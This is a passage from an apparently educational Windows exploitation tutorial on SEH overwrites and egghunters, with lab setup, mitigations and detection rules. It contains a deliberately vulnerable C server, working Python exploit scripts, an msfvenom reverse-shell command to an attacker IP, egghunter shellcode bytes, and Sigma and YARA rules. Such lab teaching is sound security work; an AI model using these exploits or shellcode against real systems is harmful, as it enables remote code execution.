} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;

The chain terminates when Next == 0xFFFFFFFF. Because these records live on the stack and the stack grows downward, the most recent __try block’s record sits at the lowest address. In memory, Next (often called nSEH in exploit-dev shorthand) sits below Handler (called SEH) – this matters because a linear buffer overflow hits Next first, then Handler four bytes later.

The MSVC runtime actually pushes a larger structure for scope tracking:

typedef struct _EH4_EXCEPTION_REGISTRATION_RECORD {
    PVOID                        SavedESP;
    PEXCEPTION_POINTERS          ExceptionPointers;
    EXCEPTION_REGISTRATION_RECORD SubRecord;        // Next + Handler
    UINT_PTR                     EncodedScopeTable;
    ULONG                        TryLevel;
} EH4_EXCEPTION_REGISTRATION_RECORD;

The TryLevel field tracks which __try block is active; __except_handler4 (used when /GS is on) encodes the scope table pointer with a security cookie to detect tampering. When you compile with /GS-, the older __except_handler3 skips that check – which is why our lab target uses /GS-.

Inspecting the Chain Live

In WinDbg attached to a 32-bit process:

0:000> !teb
TEB at 7ffde000
    ExceptionList:    0019ff64     ← head of SEH chain

0:000> !exchain
0019ff64: ntdll!_except_handler4+0 (77a1d040)
0019ffcc: ntdll!FinalExceptionHandlerPad54+0 (77a4e477)

0:000> dt _EXCEPTION_REGISTRATION_RECORD 0019ff64
   +0x000 Next    : 0x0019ffcc
   +0x004 Handler : 0x77a1d040

That FinalExceptionHandlerPad entry near 0xFFFFFFFF is the system’s tail handler – the last resort before UnhandledExceptionFilter.


Diagram showing the Windows SEH chain linked from TEB [FS:[0]](https://genxcyber.com/threads-and-the-teb-thread-environment-block/) through stack-resident EXCEPTION_REGISTRATION_RECORD structures to the terminal OS handler at 0xFFFFFFFF
The SEH chain is a singly-linked list of 8-byte records on the stack, rooted at FS:[0] in the TEB and terminated at 0xFFFFFFFF.

3. Dispatch Internals: From Fault to Handler

When a hardware exception fires, the kernel’s nt!KiDispatchException builds an _EXCEPTION_RECORD and an _CONTEXT snapshot, then delivers it to user mode:

nt!KiDispatchException (kernel)
  → ntdll!KiUserExceptionDispatcher (first user-mode function called)
    → ntdll!RtlDispatchException
      → walks _EXCEPTION_REGISTRATION_RECORD chain
        → calls each Handler with four arguments:
            ExceptionRecord, EstablisherFrame, ContextRecord, DispatcherContext

The handler signature every Handler pointer must match:

EXCEPTION_DISPOSITION NTAPI EXCEPTION_ROUTINE(
    struct _EXCEPTION_RECORD *ExceptionRecord,   // what happened
    PVOID                     EstablisherFrame,   // pointer to this SEH record on stack
    struct _CONTEXT           *ContextRecord,     // full CPU state snapshot
    PVOID                     DispatcherContext    // internal use
);

Note that the value the handler returns is an EXCEPTION_DISPOSITION, a different enum from the __except filter constants in Section 1. Its values are ExceptionContinueExecution = 0, ExceptionContinueSearch = 1 (the common case – keep walking to the next record in the chain), ExceptionNestedException = 2, and ExceptionCollidedUnwind = 3. Don’t confuse these handler-return codes with the filter-return constants (EXCEPTION_EXECUTE_HANDLER, EXCEPTION_CONTINUE_SEARCH, EXCEPTION_CONTINUE_EXECUTION).

The EstablisherFrame argument is critical for exploitation – it’s a pointer to the _EXCEPTION_REGISTRATION_RECORD that’s being invoked. The OS passes it as the second argument, so at handler entry it sits at ESP+08 – above the dispatcher’s return address (ESP+00) and the ExceptionRecord pointer (ESP+04). Remember this.


4. Why Vanilla Overwrites Fail – and How POP/POP/RET Fixes It

Here’s where I burned most of my first afternoon with SEH exploitation, so let me save you the confusion.

You overflow a stack buffer, overwrite Handler with the address of your shellcode sitting further up the stack. The OS dispatches the exception, calls your “handler”… and it crashes in a completely different place. Two problems:

  1. Register zeroing. Windows clears general-purpose registers before calling the handler. You can’t rely on EAX, ECX, etc. pointing anywhere useful.

  2. Stack residency check. RtlDispatchException validates that the handler address does not fall within the thread’s stack range. Pointing Handler directly at stack shellcode gets rejected.

But the OS is about to hand you execution at a code address you control – if that address is in a loaded module (not the stack), it passes the check. And here’s the key insight: look at the stack layout when the handler is called:

ESP+00 → dispatcher return address
ESP+04 → pointer to ExceptionRecord
ESP+08 → pointer to EstablisherFrame (= address of the nSEH/SEH record on stack)
ESP+0C → pointer to ContextRecord

The key observation: EstablisherFrame at ESP+08 points back to the _EXCEPTION_REGISTRATION_RECORD we just overwrote. That’s our nSEH field. If we execute:

pop reg    ; pops the dispatcher return address off the stack
pop reg    ; pops the ExceptionRecord pointer off the stack
ret        ; pops EstablisherFrame (the nSEH pointer) into EIP

After the two POPs, ESP points at what was originally ESP+08 – the EstablisherFrame pointer. RET then pops that value into EIP. Because EstablisherFrame is the address of our overwritten _EXCEPTION_REGISTRATION_RECORD, that value is the address of our nSEH field. So POP/POP/RET deterministically lands execution on the nSEH bytes we control – there’s nothing empirical or hand-wavy about it; it falls straight out of the handler calling convention. Set a breakpoint on the gadget and watch ESP – after POP/POP, the top of stack holds the address of nSEH.

So we put a short jump (\xeb\x06) in the nSEH field. Execution lands there, jumps 6 bytes forward (past the 4-byte SEH field plus 2 bytes of NOP alignment), and hits our shellcode.


Flow diagram illustrating how a POP POP RET gadget clears the handler call arguments off the stack and redirects EIP to the attacker-controlled nSEH short jump, which then leaps into the [shellcode](https://genxcyber.com/x86-reverse-shell-shellcode-from-scratch/)
Two POPs drain the OS-pushed arguments, and RET pivots execution to the nSEH short jump – bypassing the stack-residency check by routing through a legitimate module address.

5. Lab Setup: Building the Vulnerable Target

The Vulnerable Server

// vuln_seh_server.c — intentionally vulnerable lab target
// Compile (MSVC x86 Developer Prompt):
//   cl /GS- /Od /Zi vuln_seh_server.c /link /SAFESEH:NO /DYNAMICBASE:NO /NXCOMPAT:NO ws2_32.lib
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")

void handle_client(SOCKET s) {
    char buf[512];
    char recv_buf[2048];
    int n = recv(s, recv_buf, sizeof(recv_buf) - 1, 0);
    if (n > 0) {
        recv_buf[n] = '\0';
        if (strncmp(recv_buf, "GMON ", 5) == 0) {
            __try {
                strcpy(buf, recv_buf + 5);   // no bounds check
                printf("[+] GMON data: %.40s...\n", buf);
            } __except (EXCEPTION_EXECUTE_HANDLER) {
                printf("[!] Exception in GMON handler\n");
            }
        }
    }
    closesocket(s);
}

int main(void) {
    WSADATA wsa;
    WSAStartup(MAKEWORD(2, 2), &wsa);
    SOCKET srv = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in addr = { 0 };
    addr.sin_family = AF_INET;
    addr.sin_port = htons(9999);
    addr.sin_addr.s_addr = INADDR_ANY;
    bind(srv, (struct sockaddr *)&addr, sizeof(addr));
    listen(srv, 5);
    printf("[*] vuln_seh_server listening on TCP 9999\n");
    for (;;) {
        SOCKET c = accept(srv, NULL, NULL);
        handle_client(c);
    }
}

Compile flags explained:

FlagEffect
/GS-Disables stack cookies – no canary between locals and saved EBP
/OdNo optimizations – keeps stack layout predictable
/SAFESEH:NONo SEHandlerTable in PE – any address accepted as handler
/DYNAMICBASE:NOASLR disabled – module base is fixed across runs
/NXCOMPAT:NODEP opt-out – stack pages are executable

The __try/__except block guarantees an _EXCEPTION_REGISTRATION_RECORD sits on the stack above buf[512]. When strcpy overflows, it’ll reach that record.

If you want a separate non-SafeSEH DLL for gadget hunting (mirroring the classic essfunc.dll setup), compile a stub DLL the same way:

// labhelper.c — stub DLL, compile: cl /LD /GS- labhelper.c /link /SAFESEH:NO /DYNAMICBASE:NO
__declspec(dllexport) void helper_stub(void) { return; }

Load it in the server with LoadLibrary("labhelper.dll") before the listen loop.


6. Exploitation Walkthrough

Step 1 – Crash It

Send 2000 As and confirm the SEH chain is corrupted:

# crash_test.py
import socket

buf = b"GMON " + b"A" * 2000
s = socket.socket()
s.connect(("127.0.0.1", 9999))
s.send(buf)
s.close()

Attach Immunity Debugger before sending. After the crash, press Alt+S to view the SEH chain – you’ll see 41414141 in both nSEH and SEH. The overflow reaches the exception record.

Step 2 – Find the Exact Offset

msf-pattern_create -l 2000 > pattern.txt

Send the pattern instead of As. Read the nSEH and SEH values from Immunity’s SEH chain view. Suppose nSEH shows 41386941 and SEH shows 35694134:

msf-pattern_offset -l 2000 -q 41386941
# → Exact match at offset 524

msf-pattern_offset -l 2000 -q 35694134
# → Exact match at offset 528   (524 + 4, as expected)

Confirm with !mona findmsp in Immunity – it reports the SEH overwrite offset directly.

Step 3 – Validate Control

# validate.py
import socket

offset = 524
buf  = b"GMON "
buf += b"A" * offset        # junk to reach nSEH
buf += b"BBBB"              # nSEH → should show 42424242
buf += b"CCCC"              # SEH  → should show 43434343
buf += b"D" * 500           # trailing space for shellcode

s = socket.socket()
s.connect(("127.0.0.1", 9999))
s.send(buf)
s.close()

Alt+S in Immunity: nSEH = 42424242, SEH = 43434343. Perfect control.

Step 4 – Locate a POP/POP/RET Gadget

!mona modules

Identify modules where SafeSEH, ASLR, and Rebase are all False – your compiled server and labhelper.dll should qualify. Then:

!mona seh -cp nonull -o

This searches for POP r32 / POP r32 / RET sequences in non-SafeSEH, non-ASLR modules, excluding addresses containing null bytes. Pick one – say 0x10101058 from labhelper.dll (POP ESI / POP EBX / RET).

Step 5 – Build the Payload

Generate shellcode – a reverse shell back to your attack box:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 \
         -b "\x00" -f python --var-name shellcode

The final exploit layout:

[GMON ][A × 524][nSEH: \xeb\x06\x90\x90][SEH: gadget addr][NOP sled][shellcode]
# exploit_seh.py — full PoC against vuln_seh_server (lab target)
import socket, struct

# Replace with your msfvenom output
shellcode = (
    b"\xba\x2e\xc0\xb1\xd8\xdb\xd0\xd9\x74\x24\xf4\x5e"
    # ... (truncated — paste full msfvenom output here)
)

offset = 524
nseh   = b"\xeb\x06\x90\x90"                # JMP SHORT +6 over SEH field, 2 NOPs
seh    = struct.pack("<I", 0x10101058)        # POP ESI / POP EBX / RET in labhelper.dll
nops   = b"\x90" * 16

payload  = b"GMON "
payload += b"A" * offset
payload += nseh
payload += seh
payload += nops
payload += shellcode

s = socket.socket()
s.connect(("127.0.0.1", 9999))
s.send(payload)
s.close()
print("[*] Payload sent — check your listener")

Start your listener (nc -lvp 4444 or msfconsole with exploit/multi/handler), fire the exploit, and catch the shell.

Execution Flow Recap

  1. strcpy overflows past buf[512], corrupts the _EXCEPTION_REGISTRATION_RECORD.
  2. Continued memory corruption triggers an access violation – new exception raised.
  3. KiUserExceptionDispatcherRtlDispatchException finds our overwritten Handler.
  4. Handler address (0x10101058) is inside labhelper.dll – passes the stack-residency check.
  5. POP ESI / POP EBX / RET executes. After two POPs, RET lands on the nSEH address.
  6. \xeb\x06 (short jump forward 6 bytes) in nSEH hops over the 4-byte SEH field into the NOP sled.
  7. Shellcode executes. Reverse shell connects to attacker.

7. Mitigations Deep-Dive

This is why the lab target had every protection disabled. In the real world, you’d face multiple overlapping defenses:

SafeSEH – The /SAFESEH linker flag embeds a SEHandlerTable in the PE’s IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG. At dispatch time, ntdll!RtlIsValidHandler checks the proposed handler against this table. If the handler falls within a SafeSEH-compiled module and isn’t in the table, it’s rejected. The classic bypass: find your POP/POP/RET gadget in a loaded module that wasn’t compiled with /SAFESEH – one forgotten third-party DLL is enough. SafeSEH is a 32-bit-only mechanism; 64-bit Windows uses table-based unwinding and never stores handlers on the stack.

SEHOP – Structured Exception Handler Overwrite Protection validates chain integrity before dispatching. The OS inserts a sentinel record at the chain tail and walks the entire chain at exception time to verify it terminates correctly. Since Next sits before Handler in memory, any overflow that corrupts Handler also corrupts Next, breaking the chain and failing SEHOP’s walk. Enable system-wide via:

HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\kernel\DisableExceptionChainValidation → DWORD 0

The combination of SEHOP with ASLR is what makes SEH overwrites genuinely difficult – even if you bypass the chain check, you can’t predict the gadget address.

DEP / NX – Stack pages marked non-executable. Our short-jump-to-shellcode payload faults immediately. Defeating DEP requires a ROP chain to call VirtualProtect() or VirtualAlloc() before executing shellcode – a significant increase in complexity.

/GS Stack Cookie – This one trips people up. The cookie check runs in the function epilogue, before RET. But an SEH overflow doesn’t need the function to return – the exception fires mid-function, before the cookie check ever runs. /GS does not protect against SEH overwrites. That’s precisely why /SAFESEH and SEHOP exist as separate mitigations.


Hierarchy diagram showing four Windows SEH exploit mitigations - SafeSEH, SEHOP, ASLR, and DEP - each independently blocking an SEH overwrite attempt
SafeSEH and SEHOP target the handler validation and chain integrity respectively, while ASLR and DEP eliminate reliable gadget addresses and executable stack pages.

8. Detection & Defense

Sysmon Events

Event IDNameWhat to Watch For
1Process Createcmd.exe or powershell.exe spawned as child of vuln_seh_server.exe
3Network ConnectionOutbound TCP from server process to unusual port (4444, etc.)
7Image LoadedUnsigned DLL loaded into server process (Signed: false)
10Process AccessCross-process handle opens if exploit stages injection

Sigma Rule

title: Reverse Shell from Network Service via SEH Exploit
status: experimental
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    ParentImage|endswith:
      - '\vuln_seh_server.exe'
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
  condition: selection
fields:
  - CommandLine
  - ParentImage
  - User
falsepositives:
  - Legitimate admin maintenance scripts
level: high

A second rule for the network callback:

title: Outbound Connection from Exploited Service
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 3
    Initiated: 'true'
    Image|endswith: '\vuln_seh_server.exe'
    DestinationPort:
      - 4444
      - 4443
      - 1337
  condition: selection
level: critical

Hardening Checklist

  • Enable SEHOP via the registry key above – costs nothing, blocks vanilla SEH overwrites.
  • Compile everything with /SAFESEH, /GS, /DYNAMICBASE, /NXCOMPAT, /guard:cf.
  • Use Set-ProcessMitigation -Name vuln_seh_server.exe -Enable SEHOP,DEP,ForceRelocateImages for per-app enforcement via Exploit Guard.
  • Audit with Event ID 4688 (Audit Process Creation → Success) to capture command lines of child processes.
  • Run network services under least-privilege accounts; enforce AppLocker/WDAC to block cmd.exe spawning from service paths.

9. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Exploitation of Remote ServicesT1210Sysmon Event 3 (network), Event 1 (child process)
Exploitation for Client ExecutionT1203Application crash logs (WER Event 1000/1001), Sysmon Event 1
Exploitation for Privilege EscalationT1068Unexpected SYSTEM-context child process from service
Windows Command ShellT1059.003Sysmon Event 1 – cmd.exe spawned by network service
Process Injection (second stage)T1055Sysmon Event 10 (ProcessAccess), Event 8 (CreateRemoteThread)
Impair Defenses: Disable or Modify ToolsT1562.001Registry modification of DisableExceptionChainValidation – Sysmon Event 13

MITRE ATT&CK does not have a dedicated sub-technique for SEH overwrites specifically – T1210 and T1203 are the closest Enterprise mappings.


10. Tools

ToolPurposeLink
Immunity Debugger + mona.pySEH chain inspection, gadget search (!mona seh)immunityinc.com / github.com/corelan/mona
x64dbg (x32dbg)Alternative debugger with SEH chain tabx64dbg.com
WinDbg!exchain, !teb, dt _EXCEPTION_REGISTRATION_RECORDmicrosoft.com
BoofuzzNetwork protocol fuzzinggithub.com/jtpereyda/boofuzz
Metasploit (pattern_create/pattern_offset)Cyclic pattern offset calculationmetasploit.com
msfvenomShellcode generation with bad-char exclusionmetasploit.com
ROPgadgetPOP/POP/RET and ROP gadget searchgithub.com/JonathanSalwan/ROPgadget
Process HackerRuntime module and thread inspectionprocesshacker.sourceforge.io
SysmonEndpoint telemetry for detectiondocs.microsoft.com

Summary

  • SEH records are 8-byte structures on the x86 stack – a Next pointer and a Handler pointer, chained from FS:[0] through the Thread Environment Block. The chain is the OS’s mechanism for structured exception dispatch, and its stack residency is exactly what makes it an exploitation target.
  • POP/POP/RET is not magic – it’s a direct consequence of the handler calling convention. The OS pushes ExceptionRecord and EstablisherFrame before calling the handler; two POPs clear them, and RET pivots execution to the nSEH address you control.
  • /GS stack cookies do not protect SEH – the cookie check runs at function return, but the exception fires mid-function. SafeSEH and SEHOP exist specifically to fill this gap.
  • SEHOP + ASLR together are the effective kill – SEHOP breaks the chain walk, ASLR randomizes gadget addresses. Enable SEHOP system-wide via the DisableExceptionChainValidation registry key; it’s disabled by default on some client SKUs.
  • Detect the aftermath – Sysmon Events 1 and 3 catch the reverse shell spawning and calling home; Event 7 flags unsigned DLLs missing SafeSEH that made the gadget possible.

Related Tutorials

References

Egghunters: Staged Payload Delivery When Buffer Space Is Tight

You’ve overwritten the SEH chain. The POP POP RET gadget drops you into a clean four-byte landing zone, the short jump carries you forward – and you count maybe 60 usable bytes before the buffer turns to garbage. Your stager is 350. That gap, between the space you control and the space your payload needs, is the entire reason egghunters exist.

An egghunter is a tiny piece of shellcode – roughly 32 bytes in its tightest form – whose only job is to walk the process’s virtual address space looking for a marker, then hand execution to whatever sits immediately after that marker. The real payload gets parked somewhere else in memory: a different request field, an HTTP header, the heap. Two stages, loosely coupled. The hunter is small enough to fit in the cramped overflow; the payload can be as large as you like, as long as it’s already resident when the hunter runs.

I’ll walk the mechanism, the two classic Windows implementations, the WoW64 wrinkle on modern Windows, and – because this is a defender’s site first – exactly how the technique lights up your telemetry.


Free tool: generate the cyclic pattern and find the exact EIP/RIP offset with our Buffer Overflow Pattern Generator & Offset Finder – runs entirely in your browser.
Free tools: use the Bad Character Comparator and Shellcode Formatter to find the bad characters and re-encode your shellcode, all in your browser.

1. Why Egghunters Exist

The technique traces back to Matt Miller (skape) and his survey of “safely searching process virtual address space.” The core insight: you can’t just dereference arbitrary addresses looking for your tag, because most of the address range is unmapped. Touch an unmapped page and you take an access violation, which by default kills the process. So the hunter needs a way to test a page for readability before it reads it.

The layout in memory looks like this:

  small overflow buffer (~32-60B)        elsewhere in the process
  +---------------------------+          +-----------------------------+
  | EGGHUNTER (the "hunter")  | --scan-> | w00tw00t + full shellcode   |
  +---------------------------+          +-----------------------------+
                                  finds the doubled tag, jmp to payload

Two preconditions, both non-negotiable:

  • At least ~32 reachable bytes to hold the hunter itself.
  • The full payload must already be in memory when the hunter executes.

That second one bites people. If the payload isn’t resident yet, the hunter scans forever and pegs one CPU core at 100%. The first time I ran a KSTET egghunter I watched the target lock a core and assumed my opcode bytes were wrong. They weren’t – I’d sent the egg-tagged payload after the trigger instead of before, so there was nothing in memory to find. The hunter was working perfectly. It just had nothing to land on.


2. The Page-Walk Problem

x86 virtual memory is paged in 4 KB (0x1000) chunks. A page is either mapped (readable, possibly more) or unmapped (touching it faults). The egghunter exploits this granularity to scan efficiently and safely.

The trick is OR DX, 0x0FFF. That instruction forces the low 12 bits of the iterator register to all-ones, snapping EDX to the last byte of the current page. A following INC EDX rolls it over to the first byte of the next page. So when a page turns out to be invalid, the hunter doesn’t crawl byte-by-byte through 4096 bad addresses – it jumps straight to the next page boundary and probes again. Inside a valid page it advances one DWORD at a time looking for the tag.

The brief table of moving parts:

ComponentDetail
Memory iterator registerEDX holds the current scan address
Page-boundary jumpOR DX, 0x0FFF → end of page; INC EDX → start of next page
Validity probeA syscall (or an SEH frame) tests whether the page is readable
Egg comparisonSCASD compares EAX to [EDI] and auto-increments EDI
Transfer to payloadJMP EDI once both halves of the egg match

Flowchart showing the egghunter page-walk loop: snapping EDX to page boundaries with OR DX 0x0FFF, probing validity via INT 0x2E, skipping on access violation, scanning with SCASD, and jumping to payload on egg match.
The egghunter skips entire 4 KB pages on access violations rather than crawling byte-by-byte, keeping scan time tractable across the full virtual address space.

3. Anatomy of the Syscall Egghunter

The canonical 32-byte hunter uses the kernel as a page-validity oracle. It invokes NtAccessCheckAndAuditAlarm via the legacy INT 0x2E syscall gate and inspects the return: STATUS_ACCESS_VIOLATION (0xC0000005) means the page is bad, so skip it.

; --- 32-byte syscall egghunter (skape), egg = "w00t" ---
loop_inc_page:
    or   dx, 0x0fff        ; EDX -> last byte of current 4KB page
loop_inc_one:
    inc  edx               ; advance one byte (rolls into next page)
loop_check:
    push edx               ; save scan pointer (clobbered by syscall)
    push 0x2               ; NtAccessCheckAndAuditAlarm syscall # (x86, XP-7)
    pop  eax               ;   -> EAX = 0x2   *** verify per OS, see j00ru ***
    int  0x2e              ; legacy syscall gate
    cmp  al, 0x05          ; low byte of STATUS_ACCESS_VIOLATION (0xC0000005)?
    pop  edx               ; restore scan pointer
    je   loop_inc_page     ; bad page -> skip to next page boundary
is_egg:
    mov  eax, 0x74303077   ; "w00t"
    mov  edi, edx          ; EDI = current address
    scasd                  ; compare [EDI] to EAX, EDI += 4
    jnz  loop_inc_one      ; first half mismatch -> keep scanning
    scasd                  ; compare the *second* half of the egg
    jnz  loop_inc_one
matched:
    jmp  edi               ; EDI now points just past the doubled tag

Two SCASD instructions back to back are doing something specific: the tag is the 4-byte value repeated twice (eight bytes total). Requiring both halves to match makes a false positive vanishingly unlikely, and because SCASD auto-advances EDI, after the second success EDI already points at the byte after the egg – exactly where the payload begins. Skape’s IsBadReadPtr-based variant runs 37 bytes; an NtDisplayString variant is also 32 bytes and works identically – only the syscall number differs.

IdentifierValue / Note
SyscallNtAccessCheckAndAuditAlarm
Syscall number (x86 XP-7)0x02
InvocationINT 0x2E
Access-violation status0xC0000005CMP AL, 0x05
Invalid-page actionJE loop_inc_page
Size~32 bytes

Syscall numbers are OS-version specific. 0x02 is stable on XP/Vista/7; Windows 10 moved the table and changed the argument layout. Always confirm against Mateusz “j00ru” Jurczyk’s table at j00ru.vexillium.org/syscalls/nt/64/ for your exact target build.


4. The SEH-Based Variant

Rather than ask the kernel whether a page is valid, this approach installs a temporary Structured Exception Handler, reads memory blindly, and lets faults route into the handler – which simply advances the pointer and resumes. It runs around 60 bytes, but it carries no hardcoded syscall number, so it survives OS version drift better than the syscall hunter.

; --- SEH-based egghunter (illustrative, ~60 bytes) ---
; Register a handler so a read fault resumes scanning instead of crashing.
    push handler            ; EXCEPTION_REGISTRATION_RECORD.Handler
    push dword [fs:0]        ; .Next = current head of the SEH chain
    mov  [fs:0], esp         ; install our frame as the new chain head

    xor  edx, edx            ; scan pointer
scan_loop:
    inc  edx
    mov  edi, edx
    mov  eax, 0x74303077     ; "w00t"
    scasd                    ; read [EDI]; faults route into 'handler'
    jnz  scan_loop
    scasd                    ; confirm second half of the egg
    jnz  scan_loop
    pop  dword [fs:0]        ; restore previous SEH frame
    add  esp, 4
    jmp  edi                 ; transfer to payload
handler:                     ; entered on STATUS_ACCESS_VIOLATION
    ; bump saved EDX in the CONTEXT past the bad page,
    ; return ExceptionContinueExecution, resume scan_loop
    ret
FeatureSyscall variantSEH variant
Size~32 bytes~60 bytes
Validity checkINT 0x2ENtAccessCheckAndAuditAlarmCustom FS:[0] handler
OS portabilityFragile (syscall # changes)More portable
Detection surfaceINT 0x2E is glaringQuieter, but installs an SEH frame

That detection-surface row matters from both chairs. The SEH hunter gets recommended as the “portable” choice, and it is – but the syscall hunter’s INT 0x2E is so unused by legitimate user-mode code that flagging it is nearly a free win for the blue team.


Hierarchy diagram comparing the two classic egghunter variants: the 32-byte syscall hunter using INT 0x2E with OS-specific syscall numbers versus the 60-byte SEH hunter using a custom FS:[0] fault handler with better portability.
The syscall hunter wins on size but loses on portability; the SEH hunter avoids hardcoded syscall numbers at the cost of roughly double the byte footprint and its own SEH-frame detection surface.

5. Egg Tags and Bad Characters

The tag is a 4-byte value written twice. Common choices: w00tw00t (0x74303077), T00WT00W, b33fb33f, c0d3c0d3, ERCDERCD. Two independent constraints govern selection.

First, every byte of the hunter and the tag must avoid the vulnerable function’s bad characters\x00, \x0A, \x0D are the usual suspects for string-based bugs, but the set is target-specific. Profile it before you commit to a tag.

Second, and easy to forget: the tag must be unique in process memory ahead of the payload. If the 4-byte value appears anywhere before your real payload – including elsewhere in your own crafted buffer – the hunter may jump there first and execute garbage. Scan your buffer before sending:

def egg_is_unique(buffer: bytes, tag: bytes) -> bool:
    payload_at = buffer.find(tag * 2)     # the real, doubled egg
    earlier    = buffer.find(tag)          # any earlier single hit?
    if earlier != -1 and earlier < payload_at:
        print(f"[!] tag {tag!r} appears at offset {earlier} "
              f"before the payload at {payload_at}")
        return False
    return True

The bad-character hunt itself is methodology, not a payload: send a known byte sequence, then diff the receiving buffer in the debugger against what you sent.

# Bad-character probe — compare against the in-memory dump in x64dbg/Immunity
allchars = bytes(range(1, 256))           # skip \x00 explicitly, test the rest
probe = b"A" * 66 + b"B" * 4 + allchars
# Any byte that is mangled, truncated, or terminates the string is "bad".

6. WoW64 and Windows 10

Run a 32-bit egghunter on 64-bit Windows 10 and the old PoCs frequently misfire – the syscall table and ABI underneath WoW64 aren’t what the XP-era hunter expects. The working approach (Corelan published a tested version) uses Heaven’s Gate: transitioning a WoW64 thread from 32-bit to 64-bit mode to issue the real syscall.

The CS segment selector reveals the mode – 0x23 for 32-bit, 0x33 for 64-bit. The hunter checks it, then far-calls through FS:[0xC0] to cross into 64-bit code.

; --- WoW64 / Heaven's Gate egghunter (conceptual fragment) ---
    mov  ebx, cs            ; read code-segment selector
    cmp  bl, 0x23           ; 0x23 = 32-bit (WoW64) execution?
    ; ... stage 64-bit syscall args ...
    mov  bl, 0xc0
    call dword [fs:ebx]     ; far call via FS:[0xC0] -> 64-bit mode
    cmp  al, 0x05           ; STATUS_ACCESS_VIOLATION low byte
    je   loop_inc_page

The Exploit-DB WoW64 sample (45293) pushes 0x29 as the NtAccessCheckAndAuditAlarm number on a particular Windows 10 x64 build. Don’t copy that number blindly – verify it against j00ru’s table for your build, because it’s exactly the field that breaks between releases.


7. Wiring It Into an SEH Overflow

A typical delivery rides a standard SEH overwrite: nSEH gets a short jump forward, SEH gets a POP/POP/RET gadget that returns into nSEH, the short jump skips over the SEH record, and the hunter runs from there.

[ PADDING ][ nSEH: \xEB\x06\x90\x90 ][ SEH: pop/pop/ret addr ][ egghunter ]
   ... and the egg-tagged full payload lives in a SEPARATE field/request ...
#!/usr/bin/env python3
# LAB ONLY — staged egghunter delivery skeleton (offsets/gadget are placeholders)
import socket
RHOST, RPORT = "192.168.56.20", 9999

egghunter = (                       # 32-byte syscall hunter, tag "w00t"
    b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
    b"\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
)
nseh = b"\xeb\x06\x90\x90"           # jmp +6 over the SEH record
seh  = b"\x42\x42\x42\x42"           # PLACEHOLDER pop/pop/ret (find per target)
egg  = b"w00tw00t"                   # tag, doubled
payload = egg + b"\x90" * 16 + b"\xcc"   # \xcc = test int3; swap for calc.exe popup in lab

trigger  = b"A" * 66 + nseh + seh + egghunter
trigger += b"C" * (1000 - len(trigger))

with socket.create_connection((RHOST, RPORT)) as s:
    s.recv(1024)
    s.send(b"KSTET " + payload + b"\r\n")   # 1) stage the egg-tagged payload first
    s.send(b"KSTET " + trigger + b"\r\n")   # 2) THEN trigger overflow + run hunter
Flow diagram of a staged SEH overflow layout showing padding leading to nSEH short jump, SEH POP-POP-RET gadget, the egghunter in the constrained overflow buffer, and the egg-tagged full payload delivered separately in another request field.
The egg-tagged payload must arrive in a separate request before the overflow trigger is sent – reversing the order leaves the hunter scanning endlessly with nothing to find.

Order matters – payload first, trigger second. Reverse it and you get the 100% CPU loop from section 1.


8. Lab: VulnServer KSTET

VulnServer’s KSTET command is the standard teaching target: its overflow leaves a constrained buffer that naturally forces a staged approach. The workflow:

  1. Attach VulnServer in Immunity Debugger or x64dbg.
  2. Fuzz KSTET, find the offset to SEH control with a cyclic pattern.
  3. Locate a clean POP/POP/RET in a non-/SAFESEH, non-ASLR module.
  4. Generate the hunter with mona: !mona egg -t w00t (add -c to encode out bad chars). Mona can emit both SEH-based and NtAccessCheckAndAuditAlarm-based hunters.
  5. Set a breakpoint on the SCASD (\xAF) opcode and single-step to watch EDI march toward the egg – this is the moment that makes the mechanism click.

Read the manual assembly alongside mona’s output. Treat mona as a generator, not a black box. Use a calc.exe/cmd.exe popup as the test payload – never real C2.


9. Detecting Egghunter Behavior

The hunter is loud if you’re listening. Two behavioral tells lead:

  • A single thread pegged at 100%, particularly right after a crash-and-recover on a network service – the symptom of a hunter scanning with no resident payload.
  • NtAccessCheckAndAuditAlarm fired thousands of times in rapid succession, which no legitimate user-mode workload does. It surfaces in ETW syscall traces.
Event IDNameRelevance
1Process CreationBaseline parent-child chain for the vulnerable service
8CreateRemoteThreadEgg payload injecting; StartModule/StartFunction empty when the start address is outside loaded modules – a shellcode tell
10ProcessAccessCross-process handles requesting PROCESS_VM_WRITE (0x0020), PROCESS_VM_OPERATION (0x0008), PROCESS_CREATE_THREAD (0x0002)
25ProcessTamperingSysmon 13+; in-memory image diverging from disk – hallmark of in-memory execution

Default SwiftOnSecurity Sysmon config won’t catch CreateRemoteThread injection out of the box because of kernel32.dll exclusions – tune it before you rely on Event ID 8.

title: Remote Thread Start Address Outside Loaded Modules
id: 5a9d3e21-egg0-4c11-9f0a-shellcodeloader
status: experimental
logsource:
  product: windows
  category: create_remote_thread     # Sysmon Event ID 8
detection:
  selection:
    StartModule: ''
    StartFunction: ''
  condition: selection
level: high

Pair that with Microsoft-Windows-Threat-Intelligence ETW (fires on WriteProcessMemory/CreateRemoteThread, needs PPL to consume) and audit policy: auditpol /set /subcategory:"Process Creation" /success:enable yields Security Event 4688 with command lines. And flag INT 0x2E in user mode wherever EDR or ETW lets you – it’s about as high-fidelity as indicators get.

YARA pins the syscall hunter’s opcode signature for memory forensics:

rule Egghunter_Syscall_x86 {
    meta:
        description = "skape NtAccessCheckAndAuditAlarm egghunter (~32 bytes)"
        author = "GenXCyber"
    strings:
        $page_walk = { 66 81 CA FF 0F }   // or dx, 0x0fff
        $syscall   = { CD 2E }            // int 0x2e
        $av_check  = { 3C 05 }            // cmp al, 0x05
        $scasd     = { AF }               // scasd
    condition:
        all of them and (@syscall - @page_walk) < 32
}

10. Tools for Egghunter Analysis

ToolDescriptionLink
